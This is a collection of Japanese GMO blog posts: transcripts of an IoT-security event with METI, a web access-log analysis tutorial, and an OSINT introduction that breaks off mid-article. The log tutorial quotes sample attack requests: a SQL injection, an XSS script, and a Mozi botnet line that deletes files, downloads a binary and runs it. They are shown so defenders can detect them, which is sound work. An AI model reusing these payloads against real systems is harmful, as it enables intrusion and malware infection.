伊藤基本的には、やはり外部の攻撃はインターネットに繋がった外側のところだと思います。外側のところを我々のホワイトハッカーの考え方でアタックサーフェスといいますが、どこから侵入するのかというところを常に見ていくわけです。これで自分の知らないアタックサーフェスとかインターネット経由の入口があると、そこが盲点になってしまいます。逆にアタックサーフェスなので、こんな入口しか空いてないのにここを重厚長大に騒ぐのは費用対効果が悪かったりするので、こういった観点でアタックサーフェスをドメインとかIPアドレスからあぶり出して管理できるようなサービスとか、ホワイトハッカー視点でここが侵入口でここが重要なところですよ、入口が開いているといっても人間が通れる穴なのかネズミしか通れないのか、希釈化するとみんな入口が開いていますと言われてしまうので、こういったところのプライオリティ付けが自動でスキャンできるサービスを今GMOサイバーセキュリティ byイエラエの中でも検討していて、それをヘルスチェックの形でお出してきるような取組も進んでいる状況でありますので、ぜひご期待をいただければと思っています。 ご視聴・ご参加いただいた皆様、誠にありがとうございました。映像はアーカイブ公開しておりますので、以下より是非ご視聴ください。 https://www.youtube.com/watch?v=SDT0zu9_T8U 連載記事はこちら https://developers.gmo.jp/25025/ https://developers.gmo.jp/25547/

9/21（水）にGMO Developers Night#36 「 経済産業省×GMOサイバーセキュリティbyイエラエ「開発段階におけるIoT機器の脆弱性検証促進事業」について 」をオンラインにて開催。IoTにおけるセキュリティ対策の必要性や有無、また、経済産業省が行う取り組みについて、お話いたしました。 ▻イベント告知：https://developers.gmo.jp/20150/今回Vol.02では、 【セッション②】開発段階におけるIoT機器の脆弱性検証促進事業について の書き起こしをお届けします。 【セッション②】開発段階におけるIoT機器の脆弱性検証促進事業について 登壇者経済産業省商務情報政策局 サイバーセキュリティ課長奥田修司 氏 私からは、開発段階におけるIoT機器の脆弱性検証促進事業を進めておりますので、どうして経済産業省がそのような事業を進めているのかというところも含めてご紹介します。 資料は、それらも含めていろいろなものを今日持ってきていますので、途中飛ばしてしまうところもあるかもしれませんが、あとで資料は皆様にお届けできると聞いておりますので、お時間がある時にでも見ていただければと思います。 最近の攻撃動向と産業界へのメッセージ いきなり飛ばしてしまいますが、最近のサイバー攻撃の状況などについては、あとで見ていただければと思います。 最近のサイバー攻撃の状況に関して経産省よりぜひ皆さんに考えていただきたいことを、ある意味当たり前のことをまとめたような文章になっておりまして、きちんとやっている人はやっているよっていうことですが、そうではない人たちがサイバー攻撃に遭う状況にありますので、そのような方々ににぜひこのようなものが経産省から出ているよとご紹介いただければよいかなと思って、こういうものを出しています。 経済産業省のサイバーセキュリティ対策 経産省の政策はいろいろありますが、今日ご紹介するのは資料の青い枠で囲っているものでして、いろいろな分野別カテゴリでガイドラインやフレームワークを作成して、民間のいろいろな事業者の方々がサイバーセキュリティ対策に取り組もうと思った時に参考にしていただけるものを、様々な有識者の人たちのご意見をお聞きしながら作っているものになりますので、ぜひいろいろなものを作っているのを見ていただければということですが、その一部を今日ご紹介させていただければと思います。 IoT機器に対するセキュリティ対策の必要性 今日お話をさせていただければと思っていたIoT機器についてですが、セキュリティ対策の必要性ということで、先ほども三村さんの方からもいくつかの事例をもってお話をしていただきましたが、実際にセキュリティの事故でIoT機器やOTシステムが止まってしまったという経験のある人がだいたい25％、1/4ほどいるということもありまして、サイバーフィジカルの繋がり、サイバー空間とフィジカル空間との繋がりが増えてきている中でIoT機器やOTシステムへのサイバー攻撃などによる停止が増えてきているのだと思っています。 実際にはそういった攻撃を受けてしまうと、例えばリコールを求められることになったりとか、その製品のメーカーに対する訴訟が起こされたりとかということで、実際に自動車の例であれば140万台のリコールが求められたりとか、心臓のペースメーカーで46万台のリコールに繋がったりとかと、やはりどうしてもこういった脆弱性を残して製品を出荷して影響が出てしまうと開発企業にも影響が出てしまうので、どれだけ事前に対策をしていけるのかをぜひ考えていきたいということでございます。 セキュリティとセーフティの融合への対応 ～IoTセキュリティ・セーフティ・フレームワーク（IoT-SSF）の策定 そのために大事になってくるのはどういうことかということでまとめたのが、「IoTセキュリティ・セーフティ・フレームワーク（IoT-SSF）」と言っておりますが、サイバー空間とフィジカル空間の間をつなぐ第2層、まさにここでIoT機器が活躍をしているわけですが、ここでしっかりと情報の伝達ができるかどうかとか、誤った命令が送られていないかとか、また誤った動作をするようなことにならないかも、しっかりと担保するようなIoT製品を作っていかないといけないということになります。 IoT-SSFの枠組み／ユースケース集の作成 枠組みとしては、どういったことを考えて開発を進めていけばいいのかということを具体的なユースケースを元に分かりやすく解説をしようということで、ここに挙げている6個、ドローンもその中の1つに入っていますけども、6つのケースでリスクアセスメントをどのようにすればいいのかということと、リスク対応をどういうふうに考えていけばいいのかということをまとめたものを公表していますので、ぜひお時間あれば見ていただければと。 このユースケースの中に入ってないといけないのかというとそうではなくて、自分たちが開発をしているものや使っているものを見た時に、自分たちのものだったらこういう風にこのフレームワークを当てはめていけばよいということで見ていただければと思いますので、比較的近いものを参考に見ていただきながら自分たちの製品とか、使っているものに当てはめていただくことが重要と思います。 IoT-SSFに基づくリスクマネジメントのプロセス 実際にリスクアセスメントやリスク対応に向けてどういう事前準備をすればいいのかということと、リスクアセスメントをどうすればいいのかということをまとめていますが、特にこのフレームワークの中ではリスクアセスメントのところは2軸でリスクを分析したらどうかということで提案しています。 第1軸は回復困難性の度合いで、例えば死亡事故に繋がるようなリスクは回復困難とみなさざるを得ないと思いますし、そういった回復困難性がどこまで大きいのかということ。 第2軸は経済的影響の度合いで、幅広く世の中に活用されているものについては影響を受ける人々が多くて、経済的な影響度合いも大きい。 この2つの軸でリスクをきちんと分析をして対策に照らし合わせていこうということです。 サイバーセキュリティ対策の中で重要なのはやはりこのリスクアセスメントで、リスクに応じた対策をとるということを考えていかないと、対策コストがどんどん積み重なっていってしまって、実際にそぐわない、高価な製品しかできなくなってしまいますので、そこはきちんとアセスメントをするということです。 そのうえでリスク対応を考えていこうということですが、このリスク対応のところでこのフレームワークの中でポイントとして挙げているのは、4つの観点で整理をしようと考えております。 第1の観点は製品開発段階、実際に運用前の設計とか製造段階でその機器システムに要求する事項はどういうものなのかということ、第2の観点として運用中に機器システムに要求するものは何かということ、第3の観点としては、運用中のシステムの運用や管理を行う者の能力に関してどういう要求をしていけばいいのかということ、それから第4の観点は社会的なサポート、例えば保険みたいなものをどう考えていけばいいのか、こういった4つの観点をうまく組み合わせることによってコストを抑えながら必要な対策をとれるということをまとめたものになっておりますので、ぜひご覧いただきながら考えていただければというものになっています。 今日は飛ばしてしまいますが、実際にリスク対応の検討やその時の参考になるようなリスト類がまとまった資料になっております。 最後に、今日のテーマでもあるIoT機器の脆弱性の検証促進ということについてお話をさせていただければと思います。 包括的なサイバーセキュリティ検証基盤を構築し、『Proven in Japan』を促進 経済産業省で『Proven in Japan』と言っていますが、いろいろなものをしっかりと検証しながら有効なものをしっかりと活用していこうということで、例えばセキュリティ製品の検証をどうしていくのかということや、まさに今日の話に繋がる、攻撃型を含めたハイレベルな検証サービスを日本の中でしっかりと育てながら活用して、よりセキュアな社会を作っていきたいということを取組んできたわけですが、このハイレベルな検証サービスを、例えばIoT機器で展開をしていこうとすると、製品化されてしまった後に検証して脆弱性がたくさんあるから何とかしなければと気付いても遅いので、開発段階からセキュリティ・バイ・デザインという形で開発をしていくための取組に力を入れて進めていきたいということでこの事業に繋がってきています。 中小企業に対するご協力依頼事項 先ほど三村さんからもご紹介をいただきましたが、中小企業の皆様にご協力をお願いしまして、中小企業が開発をしているIoT機器やその部品についてご提供をいただきながら実際に検証をやってみるということで、三村さんからご紹介をいただいたいろいろな脆弱性の検証を、提供いただいた機器にやってみることを事業としてやりたいと思っています。 なぜこういうことをやるのかというと、アンケート調査でいうと実際に今製造段階で6割程度がまだセキュリティ対策を行っていないとか、出荷前の検証も4割程度の方がまだ実施をしていないという結果が出ています。実際に開発の途中でどういったことを検討されながら開発されているのかといった実態をまずしっかりと把握したうえで、今その中小企業の方々がIoT機器を開発していく、特に自動車、ドローン、医療機器とか、影響の大きい開発をしている時にはしっかりと検証しながらということになるので、中小企業の方々がどのタイミングでどういった検証をやっていけばいいのかというガイドラインを最終的には作りたいと思っていまして、それの材料として様々な中小企業の実態をしっかりと把握させていただきたいということで、こういった事業を展開しています。 ここでいただいた情報を実際に脆弱性検証させていただいて、それを解決していくためにどういったものにしていくのかということで、個別の製品の情報は当然外に出さないということですけども、数多く実施をさせていただいてまとめていきたいということです。 ご協力いただいた企業に対するメリット 一方で、ご提供いただいた企業の皆様にとっては、先ほども少しお話がありましたが、ある意味お金のかかる脆弱性の検証を事業の中で先ほどのような目的で実施させていただきますので、無償で脆弱性の診断を受けていただくという形になるわけです。 その中で多分出てくるのは、例えば設計書や仕様書を検証させていただく中で、開発の初期段階で脆弱性に繋がるような懸念事項が検出されるということで対策をしていくポイントが明らかになってくるとか、実際にファームウェアのバイナリ解析で脆弱性が検出されるということがあるとそこを解決していくということがその段階で分かることになりますし、また実機やプロトタイプだと機器全体の脆弱性診断から弱いところをしっかりと見つけ出して出荷前に対策をとるということになっていくわけです。 こういったことをメリットとしてとらえていただいて、ぜひご協力いただければと思っております。 申し込み要項 お申し込みの要領は、資料のQRコードから読み取っていただければと思います。 全部で百数十の機器について実証しようと思っておりまして、すでに百を超える機器が集まっていて、今月いっぱいで最終的な機器の選定を終えようと思っていますので、最終段階の駆け込みですが、ぜひ関心のある方はご応募いただいて、我々の取組にご協力いただければと思います。 まとめ IoT機器は非常に重要なポイントになってきておりますので、その中でどのような形で対策をとっていけばよいのかを我々も一緒になって考えながら皆様にどういう形で取り組んでいただければよいのかについて明らかにしていきたいということで取組みますので、産業界の皆様と一緒になってセキュリティ対策を講じていきたいと思います。引き続きよろしくお願いいたします。 開催レポートはVol.03に続きます！ 映像はアーカイブ公開しておりますので、以下より是非ご視聴ください。 https://www.youtube.com/watch?v=SDT0zu9_T8U 連載記事はこちら https://developers.gmo.jp/25025/ https://developers.gmo.jp/25604/

9/21（水）にGMO Developers Night#36 「 経済産業省×GMOサイバーセキュリティbyイエラエ「開発段階におけるIoT機器の脆弱性検証促進事業」について 」をオンラインにて開催。IoTにおけるセキュリティ対策の必要性や有無、また、経済産業省が行う取り組みについて、お話いたしました。イベント告知：https://developers.gmo.jp/20150/今回Vol.01では、 【セッション①】IoTにおけるセキュリティ対策の必要性について の書き起こしをお届けします。 【セッション①】IoTにおけるセキュリティ対策の必要性について 登壇者GMOサイバーセキュリティ byイエラエ株式会社 高度解析課課長三村 聡志 GMOサイバーセキュリティ byイエラエ 高度解析部高度解析課課長をしております三村と申します。 私からはまず、「IoTにおけるセキュリティ対策の必要性について」ということで、実際にIoT機器の診断など、どういうものを実際やっているのか、またIoT機器でどのような脆弱性、どのような攻撃があるのだろうか、こういった点を説明します。 GMOサイバーセキュリティ byイエラエとは 最初に、我々「GMOサイバーセキュリティ byイエラエ」は、「誰もが犠牲にならない社会を創る」ということをテーマに、かなり多くのハッカー、もちろん攻撃をする人たちではなく、攻撃をする人たちと同じような思考や技術を持った人たちを多数揃えまして、攻撃者よりも早く、攻撃者と同じような、もしくはそれよりも高度な技術で、何か脆弱性はないだろうか、悪用されることはないだろうかということを診断という形で提供させていただいている集団です。 また、「最強攻撃　最高品質　最低価格」を掲げております。どんな高度な診断をするといっても、皆様のところには届かないような高い値段で出しますと、別の意味で世の中を良くするというところから反しますので、技術をちゃんと提供させていただきながら皆様へはご利用いただきやすい値段で提供しております。 弊社の簡単な数字の説明になりますが、トップクラスのホワイトハッカー数、120名が在籍しております。また、6000件超とありますが、Webや最近では企業に対してペネトレーションテスト、攻撃者のふりをして侵入し、脆弱性の問題がないかを調べる形の診断から、今回のテーマであるIoT機器や組み込み機器に対する診断まで、幅広く対応しております。 ご覧になっている方の中では、「イエラエセキュリティ」という名前であれば知っているという方もいらっしゃるかもしれません。今年2022年、GMOインターネットグループにジョインいたしまして、社名を「GMOサイバーセキュリティ byイエラエ」に変更しております。よく、グループにジョインして何か変わったのですか？と聞かれることがありますが、技術力等々は前からも変わらず、また前以上に腕を磨いておりますので、安心してご依頼いただければと思っております。 IoT普及に伴いセキュリティリスクも増加 では、本題であるIoTは今のところどうなんだというところをお話しいたします。 IoTといっても、様々なものを想像されると思います。例えば、私はプレゼンテーションを進めるためのコントローラーを持っていますが、これがもしインターネットに繋がっていて、YouTubeなどいろいろなメディアで見ている皆さんの側から、このコントローラーにもし侵入できたら、どんなことがあるでしょうか？これを考えてみると、例えば、私が今これからお話しするスライドを、私が話し切る前に前に進めたり後ろに進めたりといったことができるようになってしまいます。そういうことをされると私が困るわけですが、こういうことをしないように・されないように、安全に我々のところで一度チェックをさせていただいて、穴がないだろうか、あれば一緒に直していきましょうという活動になります。 資料では、「IoT普及に伴いセキュリティリスクも増加」と書かさせていただいております。 まず、デバイスのインターネット接続が当たり前になっています。 例えば私も自宅でインターネットに繋がる調理釜を購入しましたが、数年前だと調理釜がインターネットに繋がるなんてことはなかったはずです。最近だと、こういうものがインターネットに繋がることによって、外からメニューや料理の作り方を入手してより高機能、より様々な料理ができるような機能を持ったものが出てきています。こういうものは、サイバー空間とフィジカル空間の融合、そしてそれに伴うセキュリティ上のリスクが当然出てまいります。先ほど例に挙げたプレゼンテーションを進めるための装置でもそうですし、先ほどの電気釜一つとったとしても、意図しない料理を作られたらやはり困ります。 このような世の中に対して、まず喫緊で議論が行われている代表例として2つ、自動車とドローンを挙げて説明します。 最初の例が自動車です。今、各社自動走行を目指していろいろと進められていますが、自動車は高度化がどんどん進んでおります。アクセルを踏んだだけでも、それをそのままエンジンに伝えるわけではなく、ちゃんと燃料などを考えて一番エコな状態でエンジンを動かす、そのためには裏側でちゃんとチェックをして一番良い燃料の出し方を計算するチップ、計算機というものが載っています。 同じような形でカーナビゲーションでも、自動車を運転しているとカーナビに渋滞情報がリアルタイムで出てきますが、これは中に計算するチップが載っていて、それが外と通信をしているというところからできるようになってきています。自動車ですと早いタイミングでこういうふうに高度化・電子化が進んでいて、今は自動走行ということでやっていますが、こちらに際してはこういう対策をしなければいけないとか、こういうことを確認しましょうとかを要件仕様書の形で比較的早いタイミングで作られています。 日本ですとJASPARさんとかが出していますが、こちらの基準に従っていなくても、ベースラインのところは誰が作っても作った時にまずここのレベルで安全なところは守りましょう、できるようにしましょうとか、いろいろな会社さんと手を組みながら一緒になって進めている現状があります。 一方でドローンは、最近ですと様々なところで利用されているのをニュース等でもお感じと思いますが、グラフにもあるようにドローンの利活用はどんどん進んでいます。一昔前だと、おもちゃみたいなものでブーンと飛ばすというものがあったわけですが、最近では無人で飛ばしてみようとか、自動でルートを設定して飛ばしましょう、こういう話がどんどん進んでいます。 こちらに対してやはり問題になってくるのは事故・攻撃等で、様々な国でドローンを用いた攻撃が残念ながら発生してしまっています。こちらに対して、現在日本で進んでいる無人機の有人地帯での目視外飛行、俗にいう「レベル4」に向けて安全性を高めていくために様々な議論が当然ありますが、その中の一つとして当然セキュリティも議論するということが必要となってくるだろうという話になります。 IoTに対するサイバー攻撃リスク IoTの診断や、脆弱性に関して我々がやっているところのお話に入らせていただきます。 まず、IoTに対するサイバー攻撃リスクとして考えられるものとしては、データ漏えいと不正操作の2つが代表的です。 データ漏えいは、例えば設置しているカメラから、本来であればアクセスできない人がアクセスできてしまって、機密情報や、本来はアクセスできてはいけないものが見られてしまう、撮られてしまうというもの。不正操作は、先ほど私が冒頭で申し上げたコントローラーやプレゼンテーションの装置がのっとられてスライドがどんどん動かされてしまうとか、ドローンだと本来想定していないような道を走ってしまう、もしくはその状態で本来であれば行ってはいけない場所にどんどん飛ばしてしまうということができてしまう、ということが考えられます。 データ漏えいや不正操作はやはりされて欲しくはないし、今我々としてもこういうものが起きない、安全な状態でITの利活用というものをどんどん進めるということのお手伝いをしていきたいというものになります。 IoTにおける守るべき対象 一般的には、1つ目はIoTのデバイスや装置。 それと通信、例えばこのコントローラーがインターネットに繋がるのであれば、特にケーブル等は入っていないので、やはり無線など通信の経路、これが2つ目です。 3つ目はクラウド。一般的にIoTだとクラウド環境にデータを置いたり、クラウド環境で何か指示を行ったりというものがやはり一般的な設計になっているものが多く、クラウドも当然重要になってきます。 では、一つ一つ見ていきます。 IoTデバイスに対するサイバー攻撃リスク まず、IoTデバイス、装置そのものに関してのサイバー攻撃リスクですが、1つ目は重要情報の漏えい、2つ目が不正なユーザによる操作、3つ目がデバイスの制御のっとり。 これら3つが一番大きなリスクとして考えなければならないものになります。 IoT通信に対するサイバー攻撃リスク 通信のところに関しては、重要情報の漏えいが起きないかどうかという点をチェックする必要があります。 通信のところは一番多くお客様から聞かれるところですが、通信は何を見るのですか？と。例えば、装置どうしが繋がるWi-FiやBluetoothについて、暗号化が正しく行われていないとか、またそこの電波の情報を盗み見る、盗聴することによって、データが抜かれてしまう、重要情報が盗めてしまう、またその逆でそれらへ不正な命令、不正な電波を飛ばすことによって操作がのっとれるということになると、やはり問題になるわけです。通信は重要情報の漏えいということで、暗号とか、ちゃんと正しいところに通信しているかという点のチェックは大事になります。 クラウドに対するサイバー攻撃リスク 最後はクラウドに対するサイバー攻撃リスクです。 こちらに関しては①重要情報の漏えい、②不正なユーザによる操作、③クラウドの制御のっとり、④デバイスの制御のっとりと、この4つが重要なリスクとなってきます。 ①と②に関してはイメージがつきやすいと思います。③のクラウドの制御のっとりについては、クラウド環境は様々各社様から出ていますが、クラウドのシステムを見てみると、ブラウザからいろいろと設定画面を開いたり、もしくはコマンドで設定をしたりして、クラウドのサーバーの環境を自分たちが一番使いやすい形に設定をするわけです。その設定に不備があった場合、つまり本来であれば防がれているはずの通信の内容、分かりやすい例だとポート番号であったり、よく気付かれにくいところですとアクセス用のインタフェースのところ、そこが本来意図した人以外からのアクセスを遮断する形になっていない、攻撃者から簡単にそこの経由からだとアクセスできてしまうという話になりますと、クラウドがのっとられて、そこからデバイスであったり、また重要情報の抜き取りだったりということが発生してしまう、というものがクラウドに対するリスクになります。 サイバー攻撃事例：クラウド経由でのデバイスのっとり これらのリスクが組み合わさった時にどういう問題が起きるかというところで、これは弊社で以前診断をさせていただいて、お客様からも今回のような場面で使って大丈夫ですよとなったものですが、IoTデバイスとしてドローンの例です。 ドローンがクラウドから命令をもらって、クラウドと通信をしてドローンが動いている状況で、我々がクラウド側から入ってドローン側に侵入をして、ドローン側に対して不正な命令を送ると、実際にその時にはドローンを落下させるといったことが実現できているということが、我々のところで確認できています。 IoTのサイバーセキュリティ全体像 IoTのサイバーセキュリティの全体像としては、脆弱性診断というところ。これは脅威分析、アーキテクチャレビュー、セキュアコーディングの次のところにありますが、ここで一般的には作成された製品を診断してくださいと持ち込まれるものが多々あります。しかし当然ながら、例えば何かルールを作る、先ほどの自動車の例では安全な車を作るためのルールを作るという形になれば、よりもっと先のタイミングで安全になるでしょうし、コードの書き方や設計を全部しっかりやっていくことができれば、どんどん前のタイミングでできるのならばその後ろのところで大きな問題が見つかるということもないですし、ちゃんと開発コストをしっかり抑えた状態で安全なものを作るということが実現可能になってくるというものになります。 IoTに対する脆弱性診断 IoTに対する脆弱性診断ということで、先ほどから何度もお話ししたことを今度は我々の視点からご説明しますと、基本的には1つ目がIoTのデバイスに対する脆弱性診断、2つ目が通信に対する脆弱性診断、3つ目がクラウドに対する脆弱性診断、という形で3つ行っております。 1.IoTデバイス脆弱性診断 診断対象はハードウェア、ソフトウェア、インタフェース。簡単に言ってしまえば、ハードウェアはその装置、IoTの機器を実際にバラして、中に基板だったり小さなものが入っていますが、こちらから中のプログラムを例えば抜き出してみようとか、通信のところやCPU、実際に計算をしているところのチップから何か盗めたり攻撃できたりというものがないだろうかというのが1つ目です。 2つ目のソフトウェア診断は、そのCPUの中で走っているプログラムに問題がないだろうかというもの。 3つ目のインタフェース診断は、その外側に開いている口、例えば一般的なものだとUSBポートに何か問題がないかいうもの。 これら3つの診断が、IoTデバイス脆弱性診断になります。 2.IoT通信脆弱性診断 先ほど私が口頭で説明しましたが、通信の暗号化は正しくできているかどうか、認証・認可の不備、ちゃんと送り先は正しいですか、間違ったところに送ろうとしている時にそれを検知できますか、こういった内容になります。 3.クラウド脆弱性診断 こちらも先ほど説明しましたが、設定不備がないかの診断、そして認証・認可、変な人、外部の人、第三者の攻撃者がアクセスできないようになっているかどうか、そして、APIの脆弱性診断、そもそものドローンなどのIoT機器でAPIのインタフェース受付の部分から内部に侵入できるといったようなものがないかどうかというのをチェックします。 経産省の取組み 現在、経産省様と一緒に、IoT機器に対する脆弱性検証という形で行っております。こちらの取組み経由でお申し込みいただければ、先ほど説明したような診断の内容が無料で実施いただけますので、新しい機器であったりとか、最近IoTではいろいろな機器が各社さんからいろいろなアイディアとともに出ているという状況ではありますが、変な攻撃であったりとか、それでアイディアが潰されてしまうとか、そういうことはやはり我々としても望まないので、こういう取組み等を使ってIoT機器が安全な形で、そこに乗っているアイディアを様々な人たちに対して素晴らしいというものをちゃんと宣伝を、ビジネスをやっていけるような基盤というものを一緒に作るという形で、まずセキュリティのチェックを我々と一緒にできればというものになります。 まとめ まず、IoTのセキュリティリスクが増大しております。こちらは、自動車やドローンの例で説明させていただきました。 2番目に、リリース前の脆弱性診断が大事ということです。こちらは、世の中に出てしまうと外からいろいろな人たちから攻撃を受けるリスクがあります。なので、事前にチェックをすることは大事です。 そして、そのためにやはり診断となるとお金がかかるので、経産省様との取組みで安全性・脆弱性の診断をぜひ一度ご体験いただければというふうに私どもとしては考えております。 開催レポートは「Vol.02」に続きます！ 映像はアーカイブ公開しておりますので、以下より是非ご視聴ください。 https://www.youtube.com/watch?v=SDT0zu9_T8U 連載記事はこちら https://developers.gmo.jp/25547/ https://developers.gmo.jp/25604/

こんにちは。GMOインターネットの平安です。今回は、セキュリティ対策の1つであるログ分析について、Webアクセスログを例としてお話します。 ログ分析について ログ分析とは、様々なシステムやアプリケーションなどのログを分析して攻撃や脅威がないかを調査することです。 攻撃や異常を検知したり攻撃につながる脅威を発見したりすることで、被害を最小限に抑えたり攻撃を防ぐための対策につなげたりすることを目的としています。 分析を行うログは目的や使用しているアプリケーションによって様々ですが、例としては、自分たちが使用しているパソコンの操作ログや、Webサイトにアクセスした際にサーバーに記録されるWebアクセスログ、サーバーへ接続しようとした際の認証のログなどがあります。 アクセスログについて 今回は、ログ分析の例として、Webサイトにアクセスした際の情報が記録されるアクセスログを確認します。以下の画像は、下記のようなURLのサイトにアクセスしたときのログの例です。（IPなどログ内の一部の情報を適当な文字に変更しております。） URL例：https://example.com/blog 123.45.67.89 - - [01/Aug/2022:00:50:47 +0000] "GET /blog HTTP/1.1" 200 9559 917340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.XX (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" ↑(IPアドレス) ↑(URL) ↑(HTTPステータスコード) ↑(アクセスに使用したブラウザ) サーバーの設定などによって出力される情報や形式は異なりますが、このログ例からは、接続したURLや接続元のIP、アクセスに使用したブラウザなどを確認することができます。 ログ分析ではこのように、どのようなURへのアクセスがあったか、どのような環境からアクセスがあったかなどの情報から、攻撃がないかを調査します。 攻撃ログの例 では次に、実際の攻撃のログを確認してみます。 下記はSQLインジェクションの脆弱性を狙った攻撃のログです。ログのURLにSELECT や WHERE などSQL文に使用される文字列が含まれていることから、攻撃のログであることが判断できます。 123.45.67.89 - - [01/Aug/2022:07:23:59 +0000] "GET /?btn_id=%28SELECT%20%28CASE%20WHEN%20%281234%3D1234%29%20THEN%20%27%27%20ELSE%20%28SELECT%201234%20UNION%20SELECT%201234%29%20END%29%29 HTTP/1.1" 200 5406 5276 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES;) Gecko/20110303 Firefox/3.X.XX" SQLインジェクションは、アプリケーションの脆弱性を利用し、データベースを不正に操作する攻撃手法です。WEBサイトに脆弱性が存在していた場合、データベース内の情報の漏洩や改ざんなどが行われてしまう可能性があります。 他にも、「OSコマンドインジェクション」や「クロスサイトスクリプティング」などの攻撃手法があります。OSコマンドインジェクションは、Webサイトなどの脆弱性を利用して不正なOSコマンドを送信することにより、Webサーバーで想定していない動作をさせる攻撃手法です。クロスサイトスクリプティングは、Webアプリケーションの処理の脆弱性を利用した攻撃で、Webサイトに悪意のあるスクリプトを埋め込むことでサイトの利用者の情報の窃取などを行います。 OSコマンドインジェクションではコマンドの文字列、クロスサイトスクリプティングでは埋め込もうとしているスクリプトの文字列がURLに含まれることから攻撃であると判断できます。 123.45.67.89 - - [01/Aug/2022:19:11:00 +0900] "GET /shell?cd+/tmp;rm+-rf+*;wget+http//192.168.X.X:8080/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 301 918 "-" "Hello,+world" 123.45.67.89 - - [01/Aug/2022:19:11:00 +0900] "GET /?\"><script>alert('XSS')</script> HTTP/1.1" 400 226 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)" ここで紹介したログや攻撃手法は一例ですが、上記に記載したように、攻撃に使われる手段とログに含まれる文字列などから、どのような攻撃があるかを調査していきます。 また、ログ分析を行う中で攻撃が確認できた場合には、その攻撃が成功しているかどうかを確かめていきます。 攻撃時のアクセスでHTTPステータスコードが200を返している場合は攻撃が成功している可能性が高いため、まずはログでステータスコードを確認します。200ステータスを返していた場合は、さらに、「攻撃時のログのレスポンスbyte」と「サイトに通常通りアクセスした際のbyte」のサイズを比較して、通常と異なるページが表示されていそうかを確認したり、アクセスの内容によっては実際に同じURLにアクセスを行ってみて問題がないかを確認したりします。 200以外のステータスでも、普段と異なるログが確認できた場合は、攻撃成功やWebサイトに脆弱性が存在する可能性もあるので、確認することを推奨します。 脅威の検知 また、SQLインジェクションのような攻撃以外にも、サイトの脆弱性を取得するためのアクセスなどもあります。 以下のログはPHPのイースターエッグと呼ばれるものへのアクセスで、特定のURLでアクセスすると、PHPのロゴ画像や作成者情報などを見ることができます。 123.45.67.89 - - [01/Aug/2022:16:00:37 +0900] "GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 301 264 "-" "curl/X.XX.0" 123.45.67.89 - - [01/Aug/2022:16:00:38 +0900] "GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1" 301 264 "-" "curl/X.XX.0" 画像が表示されるというと問題はなさそうな気がしますが、これを表示させる設定になっていると、HTTPレスポンスヘッダにPHPのバージョンが表示されてしまったり、表示される画像から使用しているバージョンを推測できてしまったりすることもあります。 もし使用しているバージョンに脆弱性が存在していた場合、その脆弱性を利用した攻撃につながってしまう可能性もありますので、バージョン情報を表示させたくない場合はPHPの設定を変更するなどの対策が必要となります。 おわりに 今回はログ分析での調査について、Webサーバーへの攻撃を例として紹介させていただきました。 Webアクセスログの分析を行うことで、サイトに対する外部からの攻撃を検知したり、攻撃の兆候を見つけたりすることができます。セキュリティの脅威にいち早く対応するためにも、定期的にログ分析を実施することが重要です。

こんにちは！GMOインターネットの濱本です。今回はセキュリティで必要な「OSINT」について紹介させていただきます。 1.OSINTとは まずは初めに「OSINT」についてご説明させていただきます。「OSINT」とは「Open Source Intelligence（オープンソースインテリジェンス）」の略なのですが、一般的に公開されている資料や情報源からデータを収集、分析などをする諜報活動の一種です。 サイバーセキュリティの分野において、なぜこの「OSINT」が重要なのかを説明するためには、「サイバーキルチェーンモデル」についても認識しておく必要があるためご説明させていただきます。 2.サイバーキルチェーンモデルについて 「サイバーキルチェーンモデル」とは、攻撃者の行動を以下7つのステップに分解したものとなります。 No攻撃の段階概要1偵察インターネットなどから組織や人物の調査し、対象組織に 関する情報を取得する2武器化偵察の結果を元に、エクスプロイトやマルウエアを作成する3デリバリなりすましメールやマルウエアを添付したメールを送付し感染させるこで、対象組織の内部に侵入や通信の確立などを実施する4エクスプロイト対象者にマルウエア添付ファイルを実行させたり、マルウエア設置サイトに誘導させるなどしてエクスプロイトコードを実行させる5インストールエクスプロイトの成功により、標的（PC）がマルウエアに感染する6C&CマルウエアによりC&Cサーバと通信させ、感染PC を遠隔操作し、追加のマルウエアやツールなどをダウンロードさせることで、感染を拡大する、あるいは内部情報を探索する7目的の実行探し出した内部情報を、加工（圧縮や暗号化等）した後、情報を持ち出し、証拠を隠滅します 攻撃者は上記7つのステップで情報の搾取などを実施するとされており、7つのステップの最初にあたる「偵察」の段階で使用される手法の一つが「OSINT」となります。攻撃者は「OSINT」などで得た情報から攻撃先の特定や必要なマルウェアの作成など次のステップである「武器化」へと繋がっていき、実際に攻撃を行ってきます。 攻撃者がどういった手法や情報を元に攻撃を仕掛けて来るのか、ということを攻撃者よりも先に知っておくことで事前に対処や対策を行うことでサイバー攻撃を防止することが出来るため、今回は「OSINT」の中でも比較的簡単なものをご紹介します。 3.SHODAN（CENSYS）について 実際にサイバーセキュリティにおける「OSINT」がどういったものか、今回はSHODANというサイトを元に説明をさせていただきます。 【URL】https://www.shodan.io/ 上記URLにアクセスいただくと、下記のような画面が表示されるかと思います。 上記画面が表示されましたら、画面上部の「Search」と記載されいる箇所にサーバーIPなどを入力しましょう。SHODANにて収集済みのデータや情報がある場合には、以下のようなに表示されます。 この時点で、該当のIP（サーバ）に関しては22番ポートや123番ポートが開いていることが確認できます。 また、該当の環境に脆弱性などがあった場合には以下のような形で画面左下に「Vulnerabilitie」として考えられる脆弱性などが表示される場合があります。 攻撃者はこういった情報を「偵察」の段階で収集し、攻撃を仕掛けてくるのです。では今度は、実際に攻撃が行われている実例などをお見せしたいと思います。 なお、SHODANと同様のサイトの一つとして「CENSYS」という別のサイトもあります。 【URL】https://censys.io/ SHODAN側で検出されない場合であっても、上記CENSYSなど別サイトで検出される場合もありますので、ご注意下さい。 4.攻撃を受けた例 さきほど、SHODANにて22番ポートが空いているサーバがあることをお見せしましたが、実際のサーバ側のログを見てみると以下のような攻撃と思われる接続を確認することが出来ました。 